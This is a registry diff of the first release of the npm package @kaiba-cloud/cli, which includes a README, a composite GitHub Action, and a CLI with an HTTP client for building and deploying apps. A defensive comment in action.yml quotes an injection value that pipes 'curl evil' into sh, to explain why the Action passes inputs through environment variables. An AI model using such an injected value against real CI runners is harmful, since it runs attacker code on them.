@kaiba-cloud/cli 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -0
- package/action.yml +88 -0
- package/dist/cli.js +196 -0
- package/dist/client.js +52 -0
- package/package.json +30 -0
package/README.md
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
# @kaiba-cloud/cli
|
|
2
|
+
|
|
3
|
+
Build and deploy your apps to Kaiba from CI or a terminal.
|
|
4
|
+
|
|
5
|
+
## Auth
|
|
6
|
+
|
|
7
|
+
The CLI authenticates with a **scoped deploy token** — a `kaiba_deploy_` token an
|
|
8
|
+
org admin mints in the Kaiba console (Environments → Deploy tokens). A deploy
|
|
9
|
+
token grants only `build` and/or `deploy`. It is NOT an org admin key. Store it
|
|
10
|
+
as a CI secret and pass it as `KAIBA_API_TOKEN`.
|
|
11
|
+
|
|
12
|
+
The hub URL defaults to `https://cloud.kaiba.ai`; override it with `KAIBA_HUB_URL`
|
|
13
|
+
or `--hub-url`.
|
|
14
|
+
|
|
15
|
+
## CLI
|
|
16
|
+
|
|
17
|
+
```bash
|
|
18
|
+
kaiba build --repo <url> --branch <ref> --image <name> [--tag <sha>] [--deploy-service <svc>]
|
|
19
|
+
kaiba deploy --service <name> --image <ref>
|
|
20
|
+
kaiba status
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
- `build` starts a git-mode build on your cluster and streams status until it
|
|
24
|
+
succeeds or fails. It builds a **pushed** git ref. Add `--deploy-service` to
|
|
25
|
+
roll the resulting image to that service in one step.
|
|
26
|
+
- `deploy` retargets one compose service to an image and waits for it to run.
|
|
27
|
+
- `status` prints each service and its live state.
|
|
28
|
+
|
|
29
|
+
## GitHub Action
|
|
30
|
+
|
|
31
|
+
```yaml
|
|
32
|
+
jobs:
|
|
33
|
+
ship:
|
|
34
|
+
runs-on: ubuntu-latest
|
|
35
|
+
steps:
|
|
36
|
+
- uses: actions/checkout@v4
|
|
37
|
+
- uses: ai-kaiba/kaiba-action@v1
|
|
38
|
+
with:
|
|
39
|
+
command: build
|
|
40
|
+
repo: ${{ github.server_url }}/${{ github.repository }}
|
|
41
|
+
branch: ${{ github.sha }}
|
|
42
|
+
image: web
|
|
43
|
+
tag: ${{ github.sha }}
|
|
44
|
+
service: web # chains a deploy after the build
|
|
45
|
+
api-token: ${{ secrets.KAIBA_API_TOKEN }}
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
## Publishing (maintainers)
|
|
49
|
+
|
|
50
|
+
Published manually — no CI token to rotate. From the repo root:
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# 1. bump "version" in packages/kaiba-cli/package.json
|
|
54
|
+
# 2. build + publish (publish runs the build via prepublishOnly)
|
|
55
|
+
cd packages/kaiba-cli
|
|
56
|
+
npm login # once per machine; prompts for 2FA
|
|
57
|
+
npm publish # access:public is set in package.json; prompts for an OTP
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
Notes:
|
|
61
|
+
- `npm publish` uses your interactive npm login, so no long-lived token is stored.
|
|
62
|
+
- npm refuses to republish an existing version — always bump first.
|
|
63
|
+
- The published tarball contains only `dist/`, `action.yml`, and this README.
|
|
64
|
+
|
|
65
|
+
The composite Action runs the compiled CLI, so `dist/` must be built. `npm publish`
|
|
66
|
+
builds it automatically via `prepublishOnly`; to build without publishing:
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
pnpm --filter @kaiba-cloud/cli build
|
|
70
|
+
```
|
package/action.yml
ADDED
|
@@ -0,0 +1,88 @@
|
|
|
1
|
+
name: 'Kaiba build & deploy'
|
|
2
|
+
description: 'Build an app image to your Kaiba registry and deploy it to your dev environment.'
|
|
3
|
+
branding:
|
|
4
|
+
icon: 'upload-cloud'
|
|
5
|
+
color: 'blue'
|
|
6
|
+
|
|
7
|
+
inputs:
|
|
8
|
+
command:
|
|
9
|
+
description: 'build | deploy | status'
|
|
10
|
+
required: true
|
|
11
|
+
api-token:
|
|
12
|
+
description: 'A scoped Kaiba deploy token (store it as a secret).'
|
|
13
|
+
required: true
|
|
14
|
+
hub-url:
|
|
15
|
+
description: 'Kaiba hub URL. Defaults to https://cloud.kaiba.ai.'
|
|
16
|
+
required: false
|
|
17
|
+
# build inputs
|
|
18
|
+
repo:
|
|
19
|
+
description: 'Git repository URL to build (build).'
|
|
20
|
+
required: false
|
|
21
|
+
branch:
|
|
22
|
+
description: 'Branch or commit ref to build (build).'
|
|
23
|
+
required: false
|
|
24
|
+
image:
|
|
25
|
+
description: 'Image name within your registry (build), or full image ref (deploy).'
|
|
26
|
+
required: false
|
|
27
|
+
tag:
|
|
28
|
+
description: 'Image tag (build). Pass the commit SHA.'
|
|
29
|
+
required: false
|
|
30
|
+
dockerfile:
|
|
31
|
+
description: 'Dockerfile path (build). Default "Dockerfile".'
|
|
32
|
+
required: false
|
|
33
|
+
context:
|
|
34
|
+
description: 'Build context subdir (build). Default ".".'
|
|
35
|
+
required: false
|
|
36
|
+
git-token:
|
|
37
|
+
description: 'Token for a private clone (build).'
|
|
38
|
+
required: false
|
|
39
|
+
# deploy inputs
|
|
40
|
+
service:
|
|
41
|
+
description: 'Compose service name to retarget (deploy, or build with chained deploy).'
|
|
42
|
+
required: false
|
|
43
|
+
|
|
44
|
+
runs:
|
|
45
|
+
using: 'composite'
|
|
46
|
+
steps:
|
|
47
|
+
- name: Run kaiba
|
|
48
|
+
shell: bash
|
|
49
|
+
# Every input reaches bash ONLY through the environment — never interpolated
|
|
50
|
+
# into the script body. Interpolating `${{ inputs.* }}` into `run:` would let
|
|
51
|
+
# a value like `"; curl evil | sh; "` execute on the runner (CWE-94). The
|
|
52
|
+
# values are read as quoted shell variables below, which cannot break out.
|
|
53
|
+
env:
|
|
54
|
+
KAIBA_API_TOKEN: ${{ inputs.api-token }}
|
|
55
|
+
KAIBA_HUB_URL: ${{ inputs.hub-url }}
|
|
56
|
+
ACTION_PATH: ${{ github.action_path }}
|
|
57
|
+
IN_COMMAND: ${{ inputs.command }}
|
|
58
|
+
IN_REPO: ${{ inputs.repo }}
|
|
59
|
+
IN_BRANCH: ${{ inputs.branch }}
|
|
60
|
+
IN_IMAGE: ${{ inputs.image }}
|
|
61
|
+
IN_TAG: ${{ inputs.tag }}
|
|
62
|
+
IN_DOCKERFILE: ${{ inputs.dockerfile }}
|
|
63
|
+
IN_CONTEXT: ${{ inputs.context }}
|
|
64
|
+
IN_GIT_TOKEN: ${{ inputs.git-token }}
|
|
65
|
+
IN_SERVICE: ${{ inputs.service }}
|
|
66
|
+
run: |
|
|
67
|
+
set -euo pipefail
|
|
68
|
+
add() { [ -n "${2:-}" ] && ARGS+=("--$1" "$2") || true; }
|
|
69
|
+
ARGS=()
|
|
70
|
+
case "$IN_COMMAND" in
|
|
71
|
+
build)
|
|
72
|
+
add repo "$IN_REPO"
|
|
73
|
+
add branch "$IN_BRANCH"
|
|
74
|
+
add image "$IN_IMAGE"
|
|
75
|
+
add tag "$IN_TAG"
|
|
76
|
+
add dockerfile "$IN_DOCKERFILE"
|
|
77
|
+
add context "$IN_CONTEXT"
|
|
78
|
+
add git-token "$IN_GIT_TOKEN"
|
|
79
|
+
add deploy-service "$IN_SERVICE"
|
|
80
|
+
;;
|
|
81
|
+
deploy)
|
|
82
|
+
add service "$IN_SERVICE"
|
|
83
|
+
add image "$IN_IMAGE"
|
|
84
|
+
;;
|
|
85
|
+
status) ;;
|
|
86
|
+
*) echo "Unknown command: $IN_COMMAND" >&2; exit 1 ;;
|
|
87
|
+
esac
|
|
88
|
+
node "$ACTION_PATH/dist/cli.js" "$IN_COMMAND" ${ARGS[@]+"${ARGS[@]}"}
|
package/dist/cli.js
ADDED
|
@@ -0,0 +1,196 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
/**
|
|
3
|
+
* kaiba — build and deploy your apps from CI or a terminal.
|
|
4
|
+
*
|
|
5
|
+
* kaiba build --repo <url> --branch <ref> --image <name> [--tag <t>] [--deploy-service <svc>]
|
|
6
|
+
* kaiba deploy --service <name> --image <ref>
|
|
7
|
+
* kaiba status
|
|
8
|
+
*
|
|
9
|
+
* Auth: set KAIBA_API_TOKEN to a scoped deploy token. The hub URL defaults to
|
|
10
|
+
* https://cloud.kaiba.ai and is overridden with KAIBA_HUB_URL or --hub-url.
|
|
11
|
+
*/
|
|
12
|
+
import { KaibaClient, KaibaApiError } from './client.js';
|
|
13
|
+
const DEFAULT_HUB_URL = 'https://cloud.kaiba.ai';
|
|
14
|
+
const POLL_INTERVAL_MS = 5000;
|
|
15
|
+
const BUILD_TIMEOUT_MS = 30 * 60 * 1000;
|
|
16
|
+
const DEPLOY_TIMEOUT_MS = 10 * 60 * 1000;
|
|
17
|
+
function parseFlags(argv) {
|
|
18
|
+
const flags = {};
|
|
19
|
+
for (let i = 0; i < argv.length; i++) {
|
|
20
|
+
const arg = argv[i];
|
|
21
|
+
if (!arg.startsWith('--'))
|
|
22
|
+
continue;
|
|
23
|
+
const key = arg.slice(2);
|
|
24
|
+
const next = argv[i + 1];
|
|
25
|
+
if (next === undefined || next.startsWith('--')) {
|
|
26
|
+
flags[key] = true;
|
|
27
|
+
}
|
|
28
|
+
else {
|
|
29
|
+
flags[key] = next;
|
|
30
|
+
i++;
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
return flags;
|
|
34
|
+
}
|
|
35
|
+
function required(flags, name) {
|
|
36
|
+
const v = flags[name];
|
|
37
|
+
if (typeof v !== 'string' || v.length === 0) {
|
|
38
|
+
fail(`Missing required flag --${name}`);
|
|
39
|
+
}
|
|
40
|
+
return v;
|
|
41
|
+
}
|
|
42
|
+
function fail(message) {
|
|
43
|
+
process.stderr.write(`✗ ${message}\n`);
|
|
44
|
+
process.exit(1);
|
|
45
|
+
}
|
|
46
|
+
function log(message) {
|
|
47
|
+
process.stdout.write(`${message}\n`);
|
|
48
|
+
}
|
|
49
|
+
function sleep(ms) {
|
|
50
|
+
return new Promise((resolve) => setTimeout(resolve, ms));
|
|
51
|
+
}
|
|
52
|
+
function makeClient(flags) {
|
|
53
|
+
const token = process.env.KAIBA_API_TOKEN;
|
|
54
|
+
if (!token)
|
|
55
|
+
fail('KAIBA_API_TOKEN is not set — provide a scoped deploy token');
|
|
56
|
+
const hubUrl = (typeof flags['hub-url'] === 'string' ? flags['hub-url'] : undefined) ?? process.env.KAIBA_HUB_URL ?? DEFAULT_HUB_URL;
|
|
57
|
+
return new KaibaClient({ hubUrl, token });
|
|
58
|
+
}
|
|
59
|
+
const TERMINAL_BUILD = new Set(['succeeded', 'failed', 'cancelled']);
|
|
60
|
+
const TERMINAL_SERVICE_FAIL = new Set(['ErrImagePull', 'ImagePullBackOff', 'CrashLoopBackOff', 'error', 'failed']);
|
|
61
|
+
/** 5xx responses during a poll are infrastructure hiccups, not terminal state. */
|
|
62
|
+
function isTransient(status) {
|
|
63
|
+
return status >= 500;
|
|
64
|
+
}
|
|
65
|
+
async function runBuild(client, flags) {
|
|
66
|
+
const started = await client.startBuild({
|
|
67
|
+
repoUrl: required(flags, 'repo'),
|
|
68
|
+
branch: required(flags, 'branch'),
|
|
69
|
+
imageName: required(flags, 'image'),
|
|
70
|
+
tag: typeof flags['tag'] === 'string' ? flags['tag'] : undefined,
|
|
71
|
+
dockerfilePath: typeof flags['dockerfile'] === 'string' ? flags['dockerfile'] : undefined,
|
|
72
|
+
context: typeof flags['context'] === 'string' ? flags['context'] : undefined,
|
|
73
|
+
gitToken: typeof flags['git-token'] === 'string' ? flags['git-token'] : undefined,
|
|
74
|
+
});
|
|
75
|
+
log(`◐ build ${started.buildId} started → ${started.imageRef}`);
|
|
76
|
+
const deadline = Date.now() + BUILD_TIMEOUT_MS;
|
|
77
|
+
let last = '';
|
|
78
|
+
while (Date.now() < deadline) {
|
|
79
|
+
await sleep(POLL_INTERVAL_MS);
|
|
80
|
+
let s;
|
|
81
|
+
try {
|
|
82
|
+
s = await client.getBuild(started.buildId, started.clusterId);
|
|
83
|
+
}
|
|
84
|
+
catch (err) {
|
|
85
|
+
// A transient poll failure (cluster briefly offline, backend blip) must not
|
|
86
|
+
// fail a build that is still running. Only a terminal build status ends it.
|
|
87
|
+
if (err instanceof KaibaApiError && isTransient(err.status))
|
|
88
|
+
continue;
|
|
89
|
+
throw err;
|
|
90
|
+
}
|
|
91
|
+
if (s.status !== last) {
|
|
92
|
+
log(`◐ build ${s.status}`);
|
|
93
|
+
last = s.status;
|
|
94
|
+
}
|
|
95
|
+
if (TERMINAL_BUILD.has(s.status)) {
|
|
96
|
+
if (s.status === 'succeeded') {
|
|
97
|
+
log(`✓ build succeeded → ${started.imageRef}`);
|
|
98
|
+
return started.imageRef;
|
|
99
|
+
}
|
|
100
|
+
const reason = s.deadlineExceeded ? ' (deadline exceeded)' : s.oomKilled ? ' (out of memory)' : '';
|
|
101
|
+
await dumpBuildLogs(client, started.buildId, started.clusterId);
|
|
102
|
+
fail(`build ${s.status}${reason}${s.error ? `: ${s.error}` : ''}`);
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
fail('build timed out');
|
|
106
|
+
}
|
|
107
|
+
async function dumpBuildLogs(client, buildId, clusterId) {
|
|
108
|
+
try {
|
|
109
|
+
const { logs } = await client.getBuildLogs(buildId, clusterId);
|
|
110
|
+
if (logs)
|
|
111
|
+
process.stderr.write(`\n--- build logs ---\n${logs}\n------------------\n`);
|
|
112
|
+
}
|
|
113
|
+
catch {
|
|
114
|
+
// logs are best-effort on failure
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
async function waitForService(client, service) {
|
|
118
|
+
const deadline = Date.now() + DEPLOY_TIMEOUT_MS;
|
|
119
|
+
while (Date.now() < deadline) {
|
|
120
|
+
await sleep(POLL_INTERVAL_MS);
|
|
121
|
+
let env;
|
|
122
|
+
try {
|
|
123
|
+
env = await client.status();
|
|
124
|
+
}
|
|
125
|
+
catch (err) {
|
|
126
|
+
if (err instanceof KaibaApiError && isTransient(err.status))
|
|
127
|
+
continue;
|
|
128
|
+
throw err;
|
|
129
|
+
}
|
|
130
|
+
const svc = env.services.find((s) => s.name === service);
|
|
131
|
+
if (!svc)
|
|
132
|
+
continue;
|
|
133
|
+
if (svc.status === 'running') {
|
|
134
|
+
log(`✓ ${service} running`);
|
|
135
|
+
return;
|
|
136
|
+
}
|
|
137
|
+
if (TERMINAL_SERVICE_FAIL.has(svc.status)) {
|
|
138
|
+
fail(`${service} failed to start: ${svc.status}${svc.error ? ` (${svc.error})` : ''}`);
|
|
139
|
+
}
|
|
140
|
+
log(`◐ ${service} ${svc.status}`);
|
|
141
|
+
}
|
|
142
|
+
fail(`${service} did not become ready within the deploy timeout`);
|
|
143
|
+
}
|
|
144
|
+
async function runDeploy(client, service, image) {
|
|
145
|
+
await client.deploy(service, image);
|
|
146
|
+
log(`◐ deploy dispatched: ${service} → ${image}`);
|
|
147
|
+
await waitForService(client, service);
|
|
148
|
+
}
|
|
149
|
+
function printStatus(env) {
|
|
150
|
+
log(`● ${env.name} (${env.status})`);
|
|
151
|
+
for (const s of env.services) {
|
|
152
|
+
const mark = s.status === 'running' ? '✓' : TERMINAL_SERVICE_FAIL.has(s.status) ? '✗' : '◐';
|
|
153
|
+
log(` ${mark} ${s.name} — ${s.status}${s.error ? ` (${s.error})` : ''}`);
|
|
154
|
+
}
|
|
155
|
+
}
|
|
156
|
+
async function main() {
|
|
157
|
+
const [command, ...rest] = process.argv.slice(2);
|
|
158
|
+
const flags = parseFlags(rest);
|
|
159
|
+
if (!command || command === 'help' || flags['help']) {
|
|
160
|
+
log('Usage:');
|
|
161
|
+
log(' kaiba build --repo <url> --branch <ref> --image <name> [--tag <t>] [--dockerfile <p>] [--context <d>] [--deploy-service <svc>]');
|
|
162
|
+
log(' kaiba deploy --service <name> --image <ref>');
|
|
163
|
+
log(' kaiba status');
|
|
164
|
+
log('');
|
|
165
|
+
log('Auth: set KAIBA_API_TOKEN. Hub: KAIBA_HUB_URL or --hub-url (default https://cloud.kaiba.ai).');
|
|
166
|
+
process.exit(command ? 0 : 1);
|
|
167
|
+
}
|
|
168
|
+
const client = makeClient(flags);
|
|
169
|
+
try {
|
|
170
|
+
switch (command) {
|
|
171
|
+
case 'build': {
|
|
172
|
+
const imageRef = await runBuild(client, flags);
|
|
173
|
+
const deployService = typeof flags['deploy-service'] === 'string' ? flags['deploy-service'] : undefined;
|
|
174
|
+
if (deployService)
|
|
175
|
+
await runDeploy(client, deployService, imageRef);
|
|
176
|
+
return;
|
|
177
|
+
}
|
|
178
|
+
case 'deploy': {
|
|
179
|
+
await runDeploy(client, required(flags, 'service'), required(flags, 'image'));
|
|
180
|
+
return;
|
|
181
|
+
}
|
|
182
|
+
case 'status': {
|
|
183
|
+
printStatus(await client.status());
|
|
184
|
+
return;
|
|
185
|
+
}
|
|
186
|
+
default:
|
|
187
|
+
fail(`Unknown command '${command}'. Run 'kaiba help'.`);
|
|
188
|
+
}
|
|
189
|
+
}
|
|
190
|
+
catch (err) {
|
|
191
|
+
if (err instanceof KaibaApiError)
|
|
192
|
+
fail(`${err.message} (HTTP ${err.status})`);
|
|
193
|
+
fail(err instanceof Error ? err.message : String(err));
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
void main();
|
package/dist/client.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* HTTP client for the Kaiba CI surface (`/ci/*` on the hub). Authenticates with
|
|
3
|
+
* a scoped deploy token via `x-api-key`. Uses only the Node 18+ global `fetch`,
|
|
4
|
+
* so the CLI ships with no runtime dependencies.
|
|
5
|
+
*/
|
|
6
|
+
export class KaibaApiError extends Error {
|
|
7
|
+
status;
|
|
8
|
+
constructor(status, message) {
|
|
9
|
+
super(message);
|
|
10
|
+
this.status = status;
|
|
11
|
+
this.name = 'KaibaApiError';
|
|
12
|
+
}
|
|
13
|
+
}
|
|
14
|
+
export class KaibaClient {
|
|
15
|
+
base;
|
|
16
|
+
token;
|
|
17
|
+
constructor(opts) {
|
|
18
|
+
this.base = opts.hubUrl.replace(/\/$/, '');
|
|
19
|
+
this.token = opts.token;
|
|
20
|
+
}
|
|
21
|
+
async request(method, path, body) {
|
|
22
|
+
const res = await fetch(`${this.base}${path}`, {
|
|
23
|
+
method,
|
|
24
|
+
headers: {
|
|
25
|
+
'x-api-key': this.token,
|
|
26
|
+
...(body ? { 'content-type': 'application/json' } : {}),
|
|
27
|
+
},
|
|
28
|
+
...(body ? { body: JSON.stringify(body) } : {}),
|
|
29
|
+
});
|
|
30
|
+
const text = await res.text();
|
|
31
|
+
const data = text ? JSON.parse(text) : {};
|
|
32
|
+
if (!res.ok) {
|
|
33
|
+
throw new KaibaApiError(res.status, data.error ?? `${res.status} ${res.statusText}`);
|
|
34
|
+
}
|
|
35
|
+
return data;
|
|
36
|
+
}
|
|
37
|
+
startBuild(req) {
|
|
38
|
+
return this.request('POST', '/ci/builds', req);
|
|
39
|
+
}
|
|
40
|
+
getBuild(buildId, clusterId) {
|
|
41
|
+
return this.request('GET', `/ci/builds/${encodeURIComponent(buildId)}?clusterId=${encodeURIComponent(clusterId)}`);
|
|
42
|
+
}
|
|
43
|
+
getBuildLogs(buildId, clusterId) {
|
|
44
|
+
return this.request('GET', `/ci/builds/${encodeURIComponent(buildId)}/logs?clusterId=${encodeURIComponent(clusterId)}`);
|
|
45
|
+
}
|
|
46
|
+
deploy(service, image) {
|
|
47
|
+
return this.request('POST', '/ci/deploy', { service, image });
|
|
48
|
+
}
|
|
49
|
+
status() {
|
|
50
|
+
return this.request('GET', '/ci/status');
|
|
51
|
+
}
|
|
52
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@kaiba-cloud/cli",
|
|
3
|
+
"version": "0.1.0",
|
|
4
|
+
"description": "Kaiba CLI — build and deploy your apps from CI or a terminal.",
|
|
5
|
+
"type": "module",
|
|
6
|
+
"license": "UNLICENSED",
|
|
7
|
+
"bin": {
|
|
8
|
+
"kaiba": "dist/cli.js"
|
|
9
|
+
},
|
|
10
|
+
"files": [
|
|
11
|
+
"dist",
|
|
12
|
+
"action.yml",
|
|
13
|
+
"README.md"
|
|
14
|
+
],
|
|
15
|
+
"publishConfig": {
|
|
16
|
+
"access": "public"
|
|
17
|
+
},
|
|
18
|
+
"scripts": {
|
|
19
|
+
"build": "tsc -p tsconfig.json",
|
|
20
|
+
"prepublishOnly": "tsc -p tsconfig.json",
|
|
21
|
+
"check-types": "tsc --noEmit"
|
|
22
|
+
},
|
|
23
|
+
"devDependencies": {
|
|
24
|
+
"@types/node": "^20.19.43",
|
|
25
|
+
"typescript": "^5.9.3"
|
|
26
|
+
},
|
|
27
|
+
"engines": {
|
|
28
|
+
"node": ">=18"
|
|
29
|
+
}
|
|
30
|
+
}
|